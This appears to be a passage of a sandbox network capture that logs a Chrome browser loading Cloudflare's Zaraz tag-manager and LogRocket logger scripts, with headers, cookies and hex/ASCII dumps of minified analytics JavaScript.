2024-10-18 13:48:10 UTC	1938	OUT	GET /static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjMzODE3NzAzMzc0MDU2NDMlMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmJvb2tpbmdhZG9jZWwuY29tJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q= HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1
2024-10-18 13:48:10 UTC	993	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 9104 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Set-Cookie: facebook-pixel_OwdI__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 set-cookie: facebook-pixel_VVgx__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_bHox__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_elKW__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: reddit_fZaD__reddit_uuid=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
2024-10-18 13:48:10 UTC	1190	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 63 66 7a 5f 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 3d 25 37 42 25 32 32 4f 77 64 49 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 34 36 34 34 35 34 39 37 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 56 56 67 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 31 30 37 38 38 33 37 36 34 33 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 62 48 6f 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 Data Ascii: set-cookie: cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7a 61 72 61 7a 2e 64 65 62 75 67 3d 28 70 45 3d 22 22 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 60 7a 61 72 61 7a 44 65 62 75 67 3d 24 7b 70 45 7d 3b 20 70 61 74 68 3d 2f 60 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 7d 3b 77 69 6e 64 6f 77 2e 7a 61 72 61 7a 2e 5f 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 6f 68 2c 6f 69 2c 6f 6a 29 7b 77 2e 7a 61 72 61 7a 2e 6c 69 73 74 65 6e 65 72 73 2e 70 75 73 68 28 7b 69 74 65 6d 3a 6f 68 2c 74 79 70 65 3a 6f 69 2c 63 61 6c 6c 62 61 63 6b 3a 6f 6a 7d 29 3b 6f 68 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6f 69 2c 6f 6a 29 7d 3b 7a 61 72 61 7a 2e 70 72 65 76 69 65 77 3d 28 6f 6b 3d 22 22 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: try{(function(w,d){zaraz.debug=(pE="")=>{document.cookie=`zarazDebug=${pE}; path=/`;location.reload()};window.zaraz._al=function(oh,oi,oj){w.zaraz.listeners.push({item:oh,type:oi,callback:oj});oh.addEventListener(oi,oj)};zaraz.preview=(ok="")=>{document.c
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 6c 6c 53 65 74 74 6c 65 64 28 28 6d 50 2e 66 7c 7c 5b 5d 29 2e 6d 61 70 28 28 6d 57 3d 3e 66 65 74 63 68 28 6d 57 5b 30 5d 2c 6d 57 5b 31 5d 29 29 29 29 7d 6d 51 28 29 7d 29 29 3b 7a 61 72 61 7a 2e 70 61 67 65 56 61 72 69 61 62 6c 65 73 3d 7b 7d 3b 7a 61 72 61 7a 2e 5f 5f 7a 63 6c 3d 7a 61 72 61 7a 2e 5f 5f 7a 63 6c 7c 7c 7b 7d 3b 7a 61 72 61 7a 2e 74 72 61 63 6b 3d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 6f 4a 2c 6f 4b 2c 6f 4c 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 28 6f 4d 2c 6f 4e 29 3d 3e 7b 63 6f 6e 73 74 20 6f 4f 3d 7b 6e 61 6d 65 3a 6f 4a 2c 64 61 74 61 3a 7b 7d 7d 3b 69 66 28 6f 4b 3f 2e 5f 5f 7a 61 72 61 7a 43 6c 69 65 6e 74 45 76 65 6e 74 29 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 6f 63 61 6c 53 74 6f 72 61 67 65 Data Ascii: llSettled((mP.f\|\|[]).map((mW=>fetch(mW[0],mW[1]))))}mQ()}));zaraz.pageVariables={};zaraz.__zcl=zaraz.__zcl\|\|{};zaraz.track=async function(oJ,oK,oL){return new Promise(((oM,oN)=>{const oO={name:oJ,data:{}};if(oK?.__zarazClientEvent)Object.keys(localStorage
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 6f 6e 28 6f 59 2c 6f 5a 2c 6f 24 29 7b 74 72 79 7b 6f 5a 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6f 5a 29 7d 63 61 74 63 68 28 70 61 29 7b 72 65 74 75 72 6e 7d 70 72 65 66 69 78 65 64 4b 65 79 3d 22 5f 7a 61 72 61 7a 5f 22 2b 6f 59 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 72 65 6d 6f 76 65 49 74 65 6d 28 70 72 65 66 69 78 65 64 4b 65 79 29 3b 6c 6f 63 61 6c 53 74 6f 72 61 67 65 26 26 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 72 65 6d 6f 76 65 49 74 65 6d 28 70 72 65 66 69 78 65 64 4b 65 79 29 3b 64 65 6c 65 74 65 20 7a 61 72 61 7a 2e 70 61 67 65 56 61 72 69 61 62 6c 65 73 5b 6f 59 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6f 5a 29 7b 6f 24 26 26 22 73 65 73 73 69 6f 6e 22 3d 3d 6f 24 2e 73 63 6f Data Ascii: on(oY,oZ,o$){try{oZ=JSON.stringify(oZ)}catch(pa){return}prefixedKey="_zaraz_"+oY;sessionStorage&&sessionStorage.removeItem(prefixedKey);localStorage&&localStorage.removeItem(prefixedKey);delete zaraz.pageVariables[oY];if(void 0!==oZ){o$&&"session"==o$.sco
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 6e 67 74 68 3b 70 70 2b 3d 31 29 7b 63 6f 6e 73 74 20 70 71 3d 70 6d 2e 73 70 6c 69 74 28 5c 22 2c 5c 22 29 5b 70 70 5d 2e 74 72 69 6d 28 29 2e 6d 61 74 63 68 28 2f 5e 28 5b 30 2d 39 5d 7b 31 2c 39 39 39 39 39 39 39 39 39 7d 29 28 70 78 7c 25 29 3f 24 2f 29 3b 70 71 26 26 70 71 5b 31 5d 26 26 70 6e 2e 70 75 73 68 28 5b 70 61 72 73 65 49 6e 74 28 70 71 5b 31 5d 2c 31 30 29 2c 70 71 5b 32 5d 7c 7c 5c 22 25 5c 22 5d 29 7d 6c 65 74 20 70 6f 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 70 72 3d 64 2e 73 63 72 6f 6c 6c 69 6e 67 45 6c 65 6d 65 6e 74 7c 7c 64 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 70 73 3d 70 72 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 2d 70 72 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2c 70 74 3d 70 72 2e 73 63 72 6f 6c 6c 54 6f 70 2f 70 73 2a 31 Data Ascii: ngth;pp+=1){const pq=pm.split(\",\")[pp].trim().match(/^([0-9]{1,999999999})(px\|%)?$/);pq&&pq[1]&&pn.push([parseInt(pq[1],10),pq[2]\|\|\"%\"])}let po=()=>{const pr=d.scrollingElement\|\|d.documentElement,ps=pr.scrollHeight-pr.clientHeight,pt=pr.scrollTop/ps*1
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 62 2c 20 73 29 3b 7d 29 28 77 69 6e 64 6f 77 2e 6c 69 6e 74 72 6b 29 3b 5c 6e 7d 3b 7b 63 6f 6e 73 74 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 60 3c 21 2d 2d 20 54 77 69 74 74 65 72 20 63 6f 6e 76 65 72 73 69 6f 6e 20 74 72 61 63 6b 69 6e 67 20 62 61 73 65 20 63 6f 64 65 20 2d 2d 3e 5c 6e 5c 6e 3c 21 2d 2d 20 45 6e 64 20 54 77 69 74 74 65 72 20 63 6f 6e 76 65 72 73 69 6f 6e 20 74 72 61 63 6b 69 6e 67 20 62 61 73 65 20 63 6f 64 65 20 e2 86 92 2d 2d 3e 60 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 3b 7d 3b 7b 5c 6e 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 73 2c 75 2c 61 29 7b 65 2e 74 77 71 7c 7c 28 73 Data Ascii: b, s);})(window.lintrk);\n};{const d = document.createElement('div');d.innerHTML = `... Twitter conversion tracking base code -->\n\n... End Twitter conversion tracking base code -->`;document.body.appendChild(d);};{\n!function(e,t,n,s,u,a){e.twq\|\|(s
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 6c 29 3b 7d 3b 7b 63 6f 6e 73 74 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 60 60 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 3b 7d 3b 7b 5c 6e 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 5c 6e 20 20 76 61 72 20 64 69 64 49 6e 69 74 20 3d 20 66 61 6c 73 65 3b 5c 6e 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 4d 75 6e 63 68 6b 69 6e 28 29 20 7b 5c 6e 20 20 20 20 69 66 28 64 69 64 49 6e 69 74 20 3d 3d 3d 20 66 61 6c 73 65 29 20 7b 5c 6e 20 20 20 20 20 20 64 69 64 49 6e 69 74 20 3d 20 74 72 75 65 3b 5c 6e 20 20 20 20 20 20 4d 75 6e 63 68 6b 69 6e Data Ascii: ument.head.appendChild(el);};{const d = document.createElement('div');d.innerHTML = ``;document.body.appendChild(d);};{\n(function() {\n var didInit = false;\n function initMunchkin() {\n if(didInit === false) {\n didInit = true;\n Munchkin
2024-10-18 13:48:10 UTC	890	IN	Data Raw: 2e 70 75 73 68 28 7b 27 7a 61 72 61 7a 47 61 43 6c 69 65 6e 74 49 64 27 3a 20 27 27 7d 29 3b 20 7d 3b 7b 5c 6e 28 66 75 6e 63 74 69 6f 6e 28 64 2c 62 2c 61 2c 73 2c 65 29 7b 20 76 61 72 20 74 20 3d 20 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 20 20 20 5c 6e 20 20 66 73 20 3d 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 5b 30 5d 3b 20 74 2e 61 73 79 6e 63 3d 31 3b 20 74 2e 69 64 3d 65 3b 20 74 2e 73 72 63 3d 73 3b 20 20 20 5c 6e 20 20 66 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 2c 20 66 73 29 3b 20 7d 29 5c 6e 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 74 61 67 2e 64 65 6d 61 6e 64 62 61 73 65 2e 63 6f 6d 2f Data Ascii: .push({'zarazGaClientId': ''}); };{\n(function(d,b,a,s,e){ var t = b.createElement(a), \n fs = b.getElementsByTagName(a)[0]; t.async=1; t.id=e; t.src=s; \n fs.parentNode.insertBefore(t, fs); })\n(window,document,'script','https://tag.demandbase.com/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	50762	188.114.96.3	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:10 UTC	358	OUT	GET /logger-1.min.js HTTP/1.1 Host: cdn.logr-ingest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:10 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: text/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * Cache-Control: public, max-age=14400 cross-origin-resource-policy: cross-origin etag: W/"3eb9fc24cd133b1d6cb0c9dd5068c6d53335a8082ce179739e4294dd6f1eb026-br" last-modified: Thu, 17 Oct 2024 22:23:31 GMT strict-transport-security: max-age=31556926 x-served-by: cache-dfw-kdfw8210125-DFW x-cache: HIT x-cache-hits: 1 x-timer: S1729204084.063789,VS0,VE1 vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 120 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uu7jCrnvDgt5yuAjPsstZXWaha77ZGdkReU%2F5IeKOmSXszz8jj2foE9HFGjqx5m83sERXzUH1MC4VjWFZttZMSXC9Mr%2BtV8n0yvOUkE66HHP4pB9Vqj8OV6%2FLJvF15CzX0S58GM2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc071974e936-DFW
2024-10-18 13:48:10 UTC	345	IN	Data Raw: 37 62 36 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 37 30 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 34 38 33 36 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 65 6e 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 70 28 65 29 29 7d 2c 74 2e 65 6e 63 6f 64 65 41 73 54 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 70 28 65 29 7d 2c 74 2e 64 65 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 Data Ascii: 7b69!function(){var e={2706:function(e,t,r){"use strict";var n=r(4836);Object.defineProperty(t,"__esModule",{value:!0}),t.encode=function(e){return JSON.stringify(p(e))},t.encodeAsTable=function(e){return p(e)},t.decode=function(e){return function(e){if
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 3f 74 5b 65 5d 3a 74 5b 65 5d 3d 6e 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 69 66 28 74 3c 30 29 7b 69 66 28 74 3d 3d 3d 69 29 72 65 74 75 72 6e 3b 69 66 28 74 3d 3d 3d 61 29 72 65 74 75 72 6e 3b 69 66 28 74 3d 3d 3d 73 29 72 65 74 75 72 6e 20 4e 61 4e 3b 69 66 28 74 3d 3d 3d 75 29 72 65 74 75 72 6e 20 31 2f 30 3b 69 66 28 74 3d 3d 3d 63 29 72 65 74 75 72 6e 2d 31 2f 30 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 20 41 52 53 4f 4e 20 69 6e 64 65 78 3a 20 22 2b 74 29 7d 76 61 72 20 6e 3d 65 5b 74 5d 3b 69 66 28 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 6e 29 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 29 7b 76 61 72 20 70 3d 6e 5b 30 5d 3b 69 66 28 22 Data Ascii: ?t[e]:t[e]=n(e)}function n(t){if(t<0){if(t===i)return;if(t===a)return;if(t===s)return NaN;if(t===u)return 1/0;if(t===c)return-1/0;throw new Error("invalid ARSON index: "+t)}var n=e[t];if(n&&"object"===(0,o.default)(n)){if(Array.isArray(n)){var p=n[0];if("
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 75 73 68 28 65 29 2d 31 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 76 61 72 20 74 3d 65 3b 69 66 28 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 65 29 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 65 29 3b 69 66 28 74 29 7b 72 65 74 75 72 6e 28 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 29 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 7d 72 65 74 75 72 6e 21 31 7d 28 65 29 29 74 3d 7b 7d 3b 65 6c 73 Data Ascii: ush(e)-1),n}function f(e){var t=e;if(e&&"object"===(0,o.default)(e)){var r=Object.keys(e);if(function(e){var t=e&&"object"===(0,o.default)(e);if(t){return(Object.getPrototypeOf?Object.getPrototypeOf(e):e.__proto__)===Object.prototype}return!1}(e))t={};els
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 65 77 20 53 65 74 3b 65 2e 66 6f 72 45 61 63 68 28 74 68 69 73 2e 61 64 64 2c 74 68 69 73 29 7d 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4d 61 70 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 2e 66 72 6f 6d 26 26 66 28 22 4d 61 70 22 2c 7b 64 65 63 6f 6e 73 74 72 75 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 5b 6f 62 6a 65 63 74 20 4d 61 70 5d 22 3d 3d 3d 64 2e 63 61 6c 6c 28 65 29 29 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 2c 72 65 63 6f 6e 73 74 72 75 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 65 77 20 4d 61 70 3b 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f Data Ascii: e){if(!e)return new Set;e.forEach(this.add,this)}}),"function"==typeof Map&&"function"==typeof Array.from&&f("Map",{deconstruct:function(e){if("[object Map]"===d.call(e))return Array.from(e)},reconstruct:function(e){if(!e)return new Map;e.forEach((functio
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 61 74 69 6f 6e 22 3d 3d 3d 65 2e 65 6e 74 72 79 54 79 70 65 29 72 2e 5f 61 64 64 52 65 73 6f 75 72 63 65 45 76 65 6e 74 28 65 29 3b 65 6c 73 65 20 69 66 28 22 72 65 73 6f 75 72 63 65 22 3d 3d 3d 65 2e 65 6e 74 72 79 54 79 70 65 29 73 77 69 74 63 68 28 65 2e 69 6e 69 74 69 61 74 6f 72 54 79 70 65 29 7b 63 61 73 65 22 6c 69 6e 6b 22 3a 63 61 73 65 22 73 63 72 69 70 74 22 3a 63 61 73 65 22 69 6d 67 22 3a 63 61 73 65 22 76 69 64 65 6f 22 3a 63 61 73 65 22 69 6d 61 67 65 22 3a 69 66 28 21 31 21 3d 3d 72 2e 5f 69 73 44 6f 6d 45 6e 61 62 6c 65 64 29 7b 69 66 28 72 2e 5f 66 69 6e 64 43 6c 6f 73 65 64 52 65 71 75 65 73 74 49 6e 64 65 78 28 65 29 3e 3d 30 29 72 65 74 75 72 6e 20 76 6f 69 64 20 72 2e 5f 61 64 64 4b 6e 6f 77 6e 52 65 73 6f 75 72 63 65 28 65 29 3b 76 Data Ascii: ation"===e.entryType)r._addResourceEvent(e);else if("resource"===e.entryType)switch(e.initiatorType){case"link":case"script":case"img":case"video":case"image":if(!1!==r._isDomEnabled){if(r._findClosedRequestIndex(e)>=0)return void r._addKnownResource(e);v
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 6e 20 65 7d 3a 73 3b 74 72 79 7b 69 3d 63 28 6c 28 6c 28 7b 7d 2c 61 29 2c 7b 7d 2c 7b 75 72 6c 3a 61 2e 6e 61 6d 65 2c 68 65 61 64 65 72 73 3a 7b 7d 2c 62 6f 64 79 3a 22 22 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 7d 69 66 28 69 29 69 66 28 61 2e 6e 61 6d 65 3d 69 2e 75 72 6c 2c 21 72 2e 5f 68 61 73 4b 6e 6f 77 6e 52 65 73 6f 75 72 63 65 28 61 29 29 69 66 28 21 28 72 2e 5f 66 69 6e 64 50 65 6e 64 69 6e 67 52 65 71 75 65 73 74 49 6e 64 65 78 28 61 29 3e 3d 30 29 29 7b 76 61 72 20 66 3d 72 2e 5f 66 69 6e 64 43 6c 6f 73 65 64 52 65 71 75 65 73 74 49 6e 64 65 78 28 61 29 3b 66 3e 3d 30 26 26 72 2e 5f 72 65 6d 6f 76 65 43 6c 6f 73 65 64 52 65 71 75 65 73 74 41 74 49 6e 64 65 78 28 66 29 2c 72 2e 5f 70 65 6e 64 69 Data Ascii: n e}:s;try{i=c(l(l({},a),{},{url:a.name,headers:{},body:""}))}catch(e){console.error(e)}if(i)if(a.name=i.url,!r._hasKnownResource(a))if(!(r._findPendingRequestIndex(a)>=0)){var f=r._findClosedRequestIndex(a);f>=0&&r._removeClosedRequestAtIndex(f),r._pendi
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 2e 5f 69 73 44 6f 6d 45 6e 61 62 6c 65 64 3f 74 68 69 73 2e 5f 73 63 68 65 64 75 6c 65 43 6c 6f 73 69 6e 67 4c 6f 6f 70 28 29 3a 74 68 69 73 2e 5f 70 65 6e 64 69 6e 67 52 65 71 75 65 73 74 73 3d 5b 5d 7d 7d 2c 7b 6b 65 79 3a 22 73 68 75 74 64 6f 77 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 73 65 74 28 29 2c 74 68 69 73 2e 5f 69 73 50 65 72 66 6f 72 6d 61 6e 63 65 45 6e 61 62 6c 65 64 3d 21 31 2c 74 68 69 73 2e 5f 69 73 44 6f 6d 45 6e 61 62 6c 65 64 3d 21 31 7d 7d 2c 7b 6b 65 79 3a 22 73 68 6f 75 6c 64 52 65 63 6f 72 64 41 73 73 65 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 74 61 67 4e 61 6d 65 26 26 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 Data Ascii: ._isDomEnabled?this._scheduleClosingLoop():this._pendingRequests=[]}},{key:"shutdown",value:function(){this.reset(),this._isPerformanceEnabled=!1,this._isDomEnabled=!1}},{key:"shouldRecordAsset",value:function(e){var t=e.tagName&&e.tagName.toLowerCase(),r
